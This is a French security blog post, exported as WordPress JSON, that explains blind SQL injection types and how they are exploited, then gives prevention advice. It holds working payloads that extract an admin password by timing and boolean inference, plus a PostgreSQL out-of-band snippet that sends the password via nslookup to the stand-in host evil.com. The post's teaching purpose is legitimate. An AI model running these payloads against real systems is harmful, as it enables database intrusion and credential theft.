{"id":12473,"date":"2025-02-04T10:40:25","date_gmt":"2025-02-04T09:40:25","guid":{"rendered":"https:\/\/www.vaadata.com\/blog\/?p=12473"},"modified":"2025-02-04T13:24:34","modified_gmt":"2025-02-04T12:24:34","slug":"blind-sql-injections-principes-types-dattaques-et-exploitations","status":"publish","type":"post","link":"https:\/\/www.vaadata.com\/blog\/fr\/blind-sql-injections-principes-types-dattaques-et-exploitations\/","title":{"rendered":"Blind SQL injections : principes, types d&rsquo;attaques et exploitations"},"content":{"rendered":"<div class=\"wp-block-image\">\n<figure class=\"alignright size-large is-resized\"><img decoding=\"async\" width=\"1024\" height=\"535\" src=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/01\/blind-sql-injections-1024x535.png\" alt=\"Blind SQL Injections : principes, types d'attaques et exploitations\" class=\"wp-image-12474\" style=\"width:403px;height:auto\" srcset=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/01\/blind-sql-injections-1024x535.png 1024w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/01\/blind-sql-injections-300x157.png 300w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/01\/blind-sql-injections-1536x803.png 1536w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n<\/div>\n\n\n<p>Les <strong>Blind SQL Injections<\/strong> (injections SQL aveugles) sont une cat\u00e9gorie d&rsquo;injection SQL.<\/p>\n\n\n\n<p>Contrairement \u00e0 une injection SQL classique, elles ne fournissent pas directement les r\u00e9sultats des requ\u00eates ou des messages d\u2019erreur d\u00e9taill\u00e9s. <\/p>\n\n\n\n<!--more-->\n\n\n\n<p>L\u2019attaquant doit donc s\u2019appuyer sur des indices indirects, comme des changements dans le comportement de l\u2019application ou des variations de temps de r\u00e9ponse pour exploiter la vuln\u00e9rabilit\u00e9.<\/p>\n\n\n\n<p>Ces attaques, bien que plus discr\u00e8tes, permettent de contourner les barri\u00e8res classiques pour acc\u00e9der aux donn\u00e9es sensibles d\u2019une base. Dans cet article, nous explorerons les principes des blind SQLi, les types d&rsquo;attaques et diff\u00e9rentes techniques d\u2019exploitation. Nous reviendrons \u00e9galement sur les bonnes pratiques permettant de se prot\u00e9ger efficacement.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Guide complet sur les blind SQLi<\/h2>\n\n\n<div class=\"wp-block-aioseo-table-of-contents\"><ul><li><a class=\"aioseo-toc-item\" href=\"#quest-ce-quune-blind-sql-injection\">Qu&#039;est-ce qu&#039;une blind SQL injection ?<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#principaux-types-de-blind-sql-injection\">Quels sont les principaux types de blind SQL injection ?<\/a><ul><li><a class=\"aioseo-toc-item\" href=\"#boolean-based-basee-sur-des-reponses-booleennes\">Boolean-based (bas\u00e9e sur des r\u00e9ponses bool\u00e9ennes)<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#time-based-basee-sur-le-temps\">Time-based (bas\u00e9e sur le temps)<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#error-based-basee-sur-les-erreurs\">Error-based (bas\u00e9e sur les erreurs)<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#out-of-band-sql-injection\">Out-of-Band SQL injection<\/a><\/li><\/ul><\/li><li><a class=\"aioseo-toc-item\" href=\"#comment-identifier-et-exploiter-une-blind-sql-injection\">Comment identifier et exploiter une blind SQL injection ?<\/a><ul><li><a class=\"aioseo-toc-item\" href=\"#exploitation-dune-error-based-blind-sql-injection\">Exploitation d&#039;une error-based blind SQL injection<\/a><ul><\/ul><\/li><li><a class=\"aioseo-toc-item\" href=\"#exemple-dexploitation-dune-boolean-based-blind-sql-injection\">Exemple d&#039;exploitation d&#039;une boolean-based blind SQL injection<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#exploitation-dune-time-based-blind-sql-injection\">Exploitation d&#039;une time-based blind SQL injection<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#exploitation-dune-out-of-band-sql-injection\">Exploitation d&#039;une out-of-band SQL injection<\/a><\/li><\/ul><\/li><li><a class=\"aioseo-toc-item\" href=\"#prevenir-les-blind-sql-injections\">Comment pr\u00e9venir les blind SQL injections ?<\/a><\/li><\/ul><\/div>\n\n\n<h2 class=\"wp-block-heading\" id=\"quest-ce-quune-blind-sql-injection\">Qu&rsquo;est-ce qu&rsquo;une blind SQL injection ? <\/h2>\n\n\n\n<p>Une <strong>blind SQL injection<\/strong> (injection SQL aveugle) est une vuln\u00e9rabilit\u00e9 dans une application qui permet \u00e0 un attaquant d&rsquo;ex\u00e9cuter des requ\u00eates SQL malveillantes sur une base de donn\u00e9es, m\u00eame si l&rsquo;application ne retourne pas directement les r\u00e9sultats des requ\u00eates.<\/p>\n\n\n\n<p>Contrairement \u00e0 une <a href=\"https:\/\/www.vaadata.com\/blog\/fr\/injections-sql-principes-impacts-exploitations-bonnes-pratiques-securite\/\" target=\"_blank\" rel=\"noopener\" title=\"\"><strong>injection SQL<\/strong><\/a> classique o\u00f9 l&rsquo;attaquant peut voir les donn\u00e9es affich\u00e9es \u00e0 l&rsquo;\u00e9cran, ici, il doit d\u00e9duire les informations \u00e0 partir des r\u00e9ponses indirectes de l&rsquo;application.<\/p>\n\n\n\n<p>L&rsquo;objectif d&rsquo;une blind SQL injection est de r\u00e9cup\u00e9rer progressivement des informations sensibles (comme des donn\u00e9es utilisateur ou des identifiants de connexion) en automatisant souvent le processus avec des outils comme <strong><a href=\"https:\/\/www.vaadata.com\/blog\/fr\/sqlmap-loutil-pour-identifier-et-exploiter-des-injections-sql\/\" target=\"_blank\" rel=\"noopener\" title=\"\">Sqlmap<\/a><\/strong>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"principaux-types-de-blind-sql-injection\">Quels sont les principaux types de blind SQL injection ?<\/h2>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-9e67fc404ac9cfdf1eb81bd80582d92d\" id=\"boolean-based-basee-sur-des-reponses-booleennes\" style=\"color:#c0b800\">Boolean-based (bas\u00e9e sur des r\u00e9ponses bool\u00e9ennes)<\/h3>\n\n\n\n<p>Dans une Boolean-Based Blind SQL Injection, l\u2019attaquant adapte son approche pour d\u00e9tecter des changements subtils dans le contenu de la page, tout en gardant la m\u00eame logique d\u2019attaque. <\/p>\n\n\n\n<p>Ce type d\u2019exploitation reste silencieux c\u00f4t\u00e9 serveur, mais d\u00e9pend fortement de la capacit\u00e9 de l\u2019attaquant \u00e0 identifier des \u00e9l\u00e9ments HTML sp\u00e9cifiques d\u00e9clench\u00e9s par des requ\u00eates valides ou invalides.<\/p>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-ea7e259bfe3106254a3f2fa0c399de2a\" id=\"time-based-basee-sur-le-temps\" style=\"color:#c0b800\">Time-based (bas\u00e9e sur le temps)<\/h3>\n\n\n\n<p>Une Time-Based Blind SQL Injection contourne les protections habituelles en exploitant le temps de r\u00e9ponse du serveur. <\/p>\n\n\n\n<p>Bien que plus complexe et plus lent \u00e0 ex\u00e9cuter que d\u2019autres types d\u2019injections, cette m\u00e9thode reste efficace pour extraire des informations sensibles en l\u2019absence d\u2019indications visuelles ou d\u2019erreurs c\u00f4t\u00e9 client.<\/p>\n\n\n\n<p>Exemple : <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>' OR IF(1=1, SLEEP(5), 0) -- (le d\u00e9lai montre que la condition est vraie)\n' OR IF(1=2, SLEEP(5), 0) -- (pas de d\u00e9lai, condition fausse)<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-922b83e19289c45a383f756dd58d72d6\" id=\"error-based-basee-sur-les-erreurs\" style=\"color:#c0b800\">Error-based (bas\u00e9e sur les erreurs)<\/h3>\n\n\n\n<p>Ce type repose sur les messages d\u2019erreur retourn\u00e9s par le serveur. Une requ\u00eate SQL invalide peut provoquer des erreurs visibles ou g\u00e9n\u00e9riques qui fournissent des indices sur la structure et les donn\u00e9es de la base.<\/p>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-a3bc1eef365646e227cf502a7954daec\" id=\"out-of-band-sql-injection\" style=\"color:#c0b800\">Out-of-Band SQL injection<\/h3>\n\n\n\n<p>L&rsquo;Out-of-Band SQL Injection est particuli\u00e8rement puissante car elle permet d\u2019extraire des donn\u00e9es m\u00eame si les r\u00e9sultats de la requ\u00eate ne sont jamais renvoy\u00e9s au client. <\/p>\n\n\n\n<p>Elle est \u00e9galement plus discr\u00e8te que les m\u00e9thodes bas\u00e9es sur les erreurs ou les d\u00e9lais, car elle ne g\u00e9n\u00e8re pas de comportements suspects visibles dans l\u2019application elle-m\u00eame.<\/p>\n\n\n\n<p>Cependant, ce type d\u2019attaque repose sur certaines conditions sp\u00e9cifiques :<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Le serveur doit permettre l\u2019ex\u00e9cution de commandes syst\u00e8me ou de fonctions qui interagissent avec des services externes.<\/li>\n\n\n\n<li>La configuration r\u00e9seau et les politiques de s\u00e9curit\u00e9 doivent autoriser les requ\u00eates sortantes, notamment DNS.<\/li>\n<\/ul>\n\n\n\n<p>Bien que plus complexe \u00e0 mettre en \u0153uvre, cette approche souligne la n\u00e9cessit\u00e9 d\u2019une vigilance accrue dans la gestion des permissions et des communications externes d\u2019une base de donn\u00e9es.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"comment-identifier-et-exploiter-une-blind-sql-injection\">Comment identifier et exploiter une blind SQL injection ?<\/h2>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-dfd38bafde102a4e1ecf4985d98fb202\" id=\"exploitation-dune-error-based-blind-sql-injection\" style=\"color:#c0b800\">Exploitation d&rsquo;une error-based blind SQL injection<\/h3>\n\n\n\n<p>Les injections SQL bas\u00e9es sur les erreurs sont relativement simples \u00e0 identifier et exploiter. Une requ\u00eate SQL invalide renvoie une erreur g\u00e9n\u00e9rique, tandis qu\u2019une requ\u00eate valide ne g\u00e9n\u00e8re aucune erreur.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"aioseo-identification-de-la-vulnerabilite\">Identification de la vuln\u00e9rabilit\u00e9 <\/h4>\n\n\n\n<p>Prenons l\u2019exemple d\u2019une application (<em><code>testshop.vaadata.com<\/code><\/em>) qui utilise un param\u00e8tre \u00ab id \u00bb en GET pour afficher des informations sur un article. <\/p>\n\n\n\n<p>Voici comment ce param\u00e8tre est transmis :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>https:&#47;&#47;testshop.vaadata.com?id=12<\/code><\/pre>\n\n\n\n<p>C\u00f4t\u00e9 serveur, l\u2019id est r\u00e9cup\u00e9r\u00e9 puis utilis\u00e9 dans la requ\u00eate SQL suivante, vuln\u00e9rable aux injections SQL&nbsp;:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>SELECT itemName FROM Items WHERE itemId = 12<\/code><\/pre>\n\n\n\n<p>Si un utilisateur injecte une valeur invalide, par exemple :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>https:&#47;&#47;testshop.vaadata.com?id=blabla<\/code><\/pre>\n\n\n\n<p>Le serveur renvoie une erreur g\u00e9n\u00e9rique de type 500.<\/p>\n\n\n\n<p>En revanche, si la requ\u00eate est modifi\u00e9e pour rester valide :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>https:\/\/testshop.vaadata.com?id=12 AND 1=1<\/code><\/pre>\n\n\n\n<p>Elle sera interpr\u00e9t\u00e9e par le serveur :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>SELECT itemName FROM Items WHERE itemId = 12 AND 1=1<\/code><\/pre>\n\n\n\n<p>Ce qui se traduit par \u00ab&nbsp;r\u00e9cup\u00e8re l\u2019article num\u00e9ro 12 et v\u00e9rifie que 1=1&nbsp;\u00bb, qui est une requ\u00eate valide qui renvoie un code 200 (OK) c\u00f4t\u00e9 client.<\/p>\n\n\n\n<p>Pour confirmer la vuln\u00e9rabilit\u00e9, une nouvelle requ\u00eate peut \u00eatre envoy\u00e9e :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>https:\/\/testshop.vaadata.com?id=12 AND 1=2<\/code><\/pre>\n\n\n\n<p>Puisque 1=2 est faux, le serveur renvoie une erreur 500. Cela confirme que le param\u00e8tre \u00ab id \u00bb est vuln\u00e9rable.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"aioseo-exploitation-et-extraction-de-donnees\">Exploitation et extraction de donn\u00e9es<\/h4>\n\n\n\n<p>Une fois la vuln\u00e9rabilit\u00e9 confirm\u00e9e, on peut manipuler la requ\u00eate pour ajouter des conditions. Si la condition est vraie, la requ\u00eate passe, sinon elle \u00e9choue.<\/p>\n\n\n\n<p>Par exemple, pour extraire le mot de passe de l\u2019utilisateur <em>Admin<\/em>, la requ\u00eate suivante peut \u00eatre utilis\u00e9e :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>https:\/\/testshop.vaadata.com?id=12 AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Admin'), 1, 1) = \u2018a\u2019<\/code><\/pre>\n\n\n\n<p>Cette requ\u00eate v\u00e9rifie si la premi\u00e8re lettre du mot de passe est \u00ab a \u00bb.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Si la lettre est correcte, la requ\u00eate passe et le serveur renvoie un code 200 (OK).<\/li>\n\n\n\n<li>Sinon, une erreur 500 est g\u00e9n\u00e9r\u00e9e.<\/li>\n<\/ul>\n\n\n\n<p>On peut ensuite tester chaque lettre successivement (\u00ab b \u00bb, \u00ab c \u00bb, etc.) jusqu\u2019\u00e0 trouver la bonne. Une fois la premi\u00e8re lettre identifi\u00e9e, on passe \u00e0 la seconde, et ainsi de suite, jusqu\u2019\u00e0 reconstituer l\u2019ensemble du mot de passe.<\/p>\n\n\n\n<p>Dans notre exemple nous r\u00e9cup\u00e9rons le mot de passe d\u2019un utilisateur, mais nous pourrions r\u00e9cup\u00e9rer n\u2019importe quelle information de la base de donn\u00e9es.<\/p>\n\n\n\n<p>Bien que simple, cette approche est tr\u00e8s lente et peu discr\u00e8te. Chaque tentative g\u00e9n\u00e8re des logs sur le serveur, ce qui la rend facile \u00e0 d\u00e9tecter. De plus, un dump complet de la base de donn\u00e9es serait extr\u00eamement long.<\/p>\n\n\n\n<p>Pour optimiser cette attaque, des techniques comme l\u2019utilisation des op\u00e9rateurs <code>&lt;<\/code> et <code>&gt;<\/code> peuvent r\u00e9duire le nombre de requ\u00eates n\u00e9cessaires, mais cela reste laborieux.<\/p>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-003bbfbcd2667b74d4eeb638ddca3227\" id=\"exemple-dexploitation-dune-boolean-based-blind-sql-injection\" style=\"color:#c0b800\">Exemple d&rsquo;exploitation d&rsquo;une boolean-based blind SQL injection<\/h3>\n\n\n\n<p>Dans cet exemple, la m\u00eame application (<em><code>testshop.vaadata.com<\/code><\/em>) est l\u00e9g\u00e8rement modifi\u00e9e. En cas de probl\u00e8me lors de la r\u00e9cup\u00e9ration d\u2019un article, elle ne renvoie plus d\u2019erreur, mais affiche simplement moins d\u2019informations ou aucun contenu.<\/p>\n\n\n\n<p>L\u2019important ici est qu\u2019il existe une diff\u00e9rence visible et coh\u00e9rente entre une requ\u00eate valide et une requ\u00eate invalide.<\/p>\n\n\n\n<p>Pour un attaquant, cela ne change pas fondamentalement la m\u00e9thode d\u2019exploitation. <\/p>\n\n\n\n<p>Prenons cette requ\u00eate :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>https:\/\/testshop.vaadata.com?id=12 AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Admin'), 1, 1) = \u2018a\u2019<\/code><\/pre>\n\n\n\n<p>Elle reste un vecteur d\u2019attaque valide. Cependant, au lieu de se baser sur un code d\u2019erreur HTTP ou un autre retour explicite, l\u2019attaquant valide le succ\u00e8s de l\u2019attaque en observant un \u00e9l\u00e9ment sp\u00e9cifique du contenu HTML. <\/p>\n\n\n\n<p>Par exemple :<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Si la requ\u00eate est valide, un \u00e9l\u00e9ment pr\u00e9cis (comme un titre, un bouton ou une description) appara\u00eet dans la page.<\/li>\n\n\n\n<li>Si la requ\u00eate est invalide, cet \u00e9l\u00e9ment est absent ou le contenu de la page change.<\/li>\n<\/ul>\n\n\n\n<p>Dans ce cas, l\u2019information retourn\u00e9e par la requ\u00eate vuln\u00e9rable (par exemple, le mot de passe) n\u2019est pas directement affich\u00e9e dans la page. Cela permet de distinguer une Blind SQL injection d\u2019une injection SQL classique.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Blind SQL<\/strong>i : Le r\u00e9sultat de la requ\u00eate vuln\u00e9rable n\u2019est pas directement visible. L\u2019attaquant doit d\u00e9duire le comportement du serveur en analysant des changements indirects (contenu HTML, temps de r\u00e9ponse, etc.).<\/li>\n\n\n\n<li><strong>Injection SQL classique<\/strong> : Le r\u00e9sultat de la requ\u00eate vuln\u00e9rable est directement affich\u00e9 ou utilis\u00e9 dans la page, ce qui simplifie l\u2019exploitation.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-ea6b59a75c609e35f8a5c51de2e5f720\" id=\"exploitation-dune-time-based-blind-sql-injection\" style=\"color:#c0b800\">Exploitation d&rsquo;une time-based blind SQL injection<\/h3>\n\n\n\n<p>Dans ce cas, l&rsquo;application ne pr\u00e9sente aucun indice visible c\u00f4t\u00e9 client. En effet, le r\u00e9sultat direct ou indirect de la requ\u00eate SQL n\u2019est pas utilis\u00e9, et aucun message d\u2019erreur n\u2019est renvoy\u00e9, m\u00eame en cas d\u2019\u00e9chec. <\/p>\n\n\n\n<p>Cependant, il est toujours possible d\u2019exploiter la vuln\u00e9rabilit\u00e9 en utilisant des fonctions qui ralentissent conditionnellement la r\u00e9ponse du serveur.<\/p>\n\n\n\n<p>Prenons un exemple avec une base de donn\u00e9es <a href=\"https:\/\/www.postgresql.org\/\" target=\"_blank\" rel=\"noopener\" title=\"\">PostgreSQL<\/a> (les fonctions varient selon le SGBD utilis\u00e9). <\/p>\n\n\n\n<p>Une requ\u00eate malveillante pourrait ressembler \u00e0 ceci :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>https:\/\/testshop.vaadata.com?id=12; SELECT CASE WHEN (SUBSTRING((SELECT Password FROM Users WHERE Username = 'Admin'), 1, 1) = \u2018a\u2019) THEN pg_sleep(5) ELSE pg_sleep(0) END<\/code><\/pre>\n\n\n\n<p>Cette requ\u00eate peut \u00eatre interpr\u00e9t\u00e9e ainsi : si la premi\u00e8re lettre du mot de passe de l\u2019utilisateur \u00ab Admin \u00bb est \u00ab a \u00bb, le serveur attendra cinq secondes avant de r\u00e9pondre ; sinon, il r\u00e9pondra imm\u00e9diatement.<\/p>\n\n\n\n<p>Pour exploiter cette vuln\u00e9rabilit\u00e9, l\u2019attaquant commence par tester si un d\u00e9lai conditionnel provoque un ralentissement perceptible dans la r\u00e9ponse du serveur, confirmant ainsi la pr\u00e9sence de la vuln\u00e9rabilit\u00e9. <\/p>\n\n\n\n<p>Ensuite, il peut manipuler la requ\u00eate pour extraire progressivement les donn\u00e9es cibl\u00e9es. Par exemple, en v\u00e9rifiant chaque caract\u00e8re d\u2019un mot de passe un par un, en commen\u00e7ant par \u00ab a \u00bb, puis \u00ab b \u00bb, et ainsi de suite. <\/p>\n\n\n\n<p>Une fois le premier caract\u00e8re identifi\u00e9, il r\u00e9p\u00e8te le processus pour le suivant, jusqu\u2019\u00e0 reconstituer l\u2019information compl\u00e8te.<\/p>\n\n\n\n<p>Cette approche est efficace m\u00eame lorsque la requ\u00eate ne produit aucun r\u00e9sultat visible, \u00e0 condition que le serveur attende la fin de l\u2019ex\u00e9cution pour r\u00e9pondre. <\/p>\n\n\n\n<p>Cependant, elle a des inconv\u00e9nients. Le processus est lent et g\u00e9n\u00e8re des temps de r\u00e9ponse anormalement longs, ce qui peut \u00eatre d\u00e9tect\u00e9 par un syst\u00e8me de surveillance ou d\u2019analyse des logs. Malgr\u00e9 cela, elle reste une m\u00e9thode puissante pour contourner les protections en l\u2019absence d\u2019erreurs ou d\u2019indices visibles.<\/p>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-3f8b81cbf197e5fd3af39fa85bd24985\" id=\"exploitation-dune-out-of-band-sql-injection\" style=\"color:#c0b800\">Exploitation d&rsquo;une out-of-band SQL injection<\/h3>\n\n\n\n<p>Dans ce dernier sc\u00e9nario, le serveur ne d\u00e9pend pas de la r\u00e9ponse de la base de donn\u00e9es pour renvoyer des r\u00e9sultats au client. <\/p>\n\n\n\n<p>Aucune des techniques classiques (bas\u00e9es sur les erreurs ou le d\u00e9lai) ne fonctionne dans ce contexte.<\/p>\n\n\n\n<p>Cependant, cela ne signifie pas que l&rsquo;application est s\u00e9curis\u00e9e. En effet, un attaquant peut exploiter la vuln\u00e9rabilit\u00e9 en utilisant des canaux alternatifs pour extraire des donn\u00e9es, comme les requ\u00eates DNS.<\/p>\n\n\n\n<p>Un attaquant pourrait contr\u00f4ler un site malveillant, par exemple <code>evil.com<\/code>, capable d\u2019enregistrer toutes les requ\u00eates qu\u2019il re\u00e7oit, y compris les requ\u00eates DNS. <\/p>\n\n\n\n<p>Il peut alors injecter une requ\u00eate SQL con\u00e7ue pour d\u00e9clencher une requ\u00eate DNS contenant des donn\u00e9es sensibles, comme un mot de passe. <\/p>\n\n\n\n<p>Voici une d\u00e9monstration avec PostgreSQL :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>declare c text; --d\u00e9claration de variable\ndeclare p text; -- declaration de variable\nBEGIN -- d\u00e9but de la fonction\nSELECT into p (SELECT password FROM Users WHERE Username = 'Admin'); -- le mot de passe Admin est stock\u00e9 dans p\nc := 'copy (SELECT '''') to program ''nslookup '||p||'.evil.com'''; -- on fait une requ\u00eate DNS (nslookup) sur le sous-domaine motDePasseAdmin.evil.com\nexecute c; -- ex\u00e9cution de la requ\u00eate\nEND; -- fin de la fonction\n$$ language plpgsql security definer; -- sp\u00e9cifique \u00e0 PostgreSQL, sp\u00e9cifie que la fonction est en plpgsql et doit s\u2019ex\u00e9cuter avec les privil\u00e8ges de son propri\u00e9taire\nSELECT f(); -- ex\u00e9cution de la fonction<\/code><\/pre>\n\n\n\n<p>Avec cette requ\u00eate, le serveur effectue une requ\u00eate DNS vers un sous-domaine construit \u00e0 partir du mot de passe de l\u2019utilisateur <strong>Admin<\/strong>, par exemple :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>mysecretpassword.evil.com<\/code><\/pre>\n\n\n\n<p>Cette requ\u00eate DNS sera logg\u00e9e par le site <code>evil.com<\/code>, permettant ainsi \u00e0 l\u2019attaquant de r\u00e9cup\u00e9rer le mot de passe ou toute autre donn\u00e9e sensible.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"prevenir-les-blind-sql-injections\">Comment pr\u00e9venir les blind SQL injections ? <\/h2>\n\n\n\n<p>Une injection SQL, m\u00eame sans renvoyer de r\u00e9sultat au client et malgr\u00e9 plusieurs couches applicatives, reste un vecteur d&rsquo;attaque majeur. Elle peut \u00eatre tout aussi d\u00e9vastatrice qu&rsquo;une injection SQL classique.<\/p>\n\n\n\n<p>Pour un d\u00e9fenseur, les injections SQL aveugles sont souvent plus faciles \u00e0 rep\u00e9rer. Les attaques bas\u00e9es sur les erreurs, les r\u00e9ponses bool\u00e9ennes ou les d\u00e9lais g\u00e9n\u00e8rent un grand nombre de requ\u00eates, donc de logs; tandis que les attaques \u00ab\u00a0out-of-band\u00a0\u00bb, produisent des requ\u00eates vers des sous-domaines suspects.<\/p>\n\n\n\n<p>Les mesures de protection restent les m\u00eames que pour les injections SQL classiques :<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Utiliser des requ\u00eates pr\u00e9par\u00e9es.<\/li>\n\n\n\n<li>Ne jamais faire confiance aux donn\u00e9es utilisateur, qu&rsquo;elles soient re\u00e7ues directement (via un formulaire, par exemple) ou indirectement (par des donn\u00e9es r\u00e9utilis\u00e9es depuis un stockage).<\/li>\n<\/ul>\n\n\n\n<p>Un syst\u00e8me de <a href=\"https:\/\/www.vaadata.com\/blog\/fr\/logging-monitoring-definitions-et-bonnes-pratiques\/\" target=\"_blank\" rel=\"noopener\" title=\"\">monitoring<\/a> solide peut aider \u00e0 d\u00e9tecter ces attaques. Toutefois, ce type de solution est r\u00e9actif et insuffisant \u00e0 lui seul. Si une base de donn\u00e9es est attaqu\u00e9e avec succ\u00e8s, m\u00eame bri\u00e8vement, elle doit \u00eatre consid\u00e9r\u00e9e comme compromise.<\/p>\n\n\n\n<p><strong>Auteur : Renaud CAYOL &#8211; Pentester @Vaadata<\/strong> <\/p>\n","protected":false},"excerpt":{"rendered":"<p>Les Blind SQL Injections (injections SQL aveugles) sont une cat\u00e9gorie d&rsquo;injection SQL. Contrairement \u00e0 une injection SQL classique, elles ne fournissent pas directement les r\u00e9sultats des requ\u00eates ou des messages d\u2019erreur d\u00e9taill\u00e9s.<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9,14],"tags":[],"class_list":{"0":"post-12473","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-technical","7":"category-technique"},"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/posts\/12473","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/comments?post=12473"}],"version-history":[{"count":19,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/posts\/12473\/revisions"}],"predecessor-version":[{"id":12551,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/posts\/12473\/revisions\/12551"}],"wp:attachment":[{"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/media?parent=12473"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/categories?post=12473"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/tags?post=12473"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}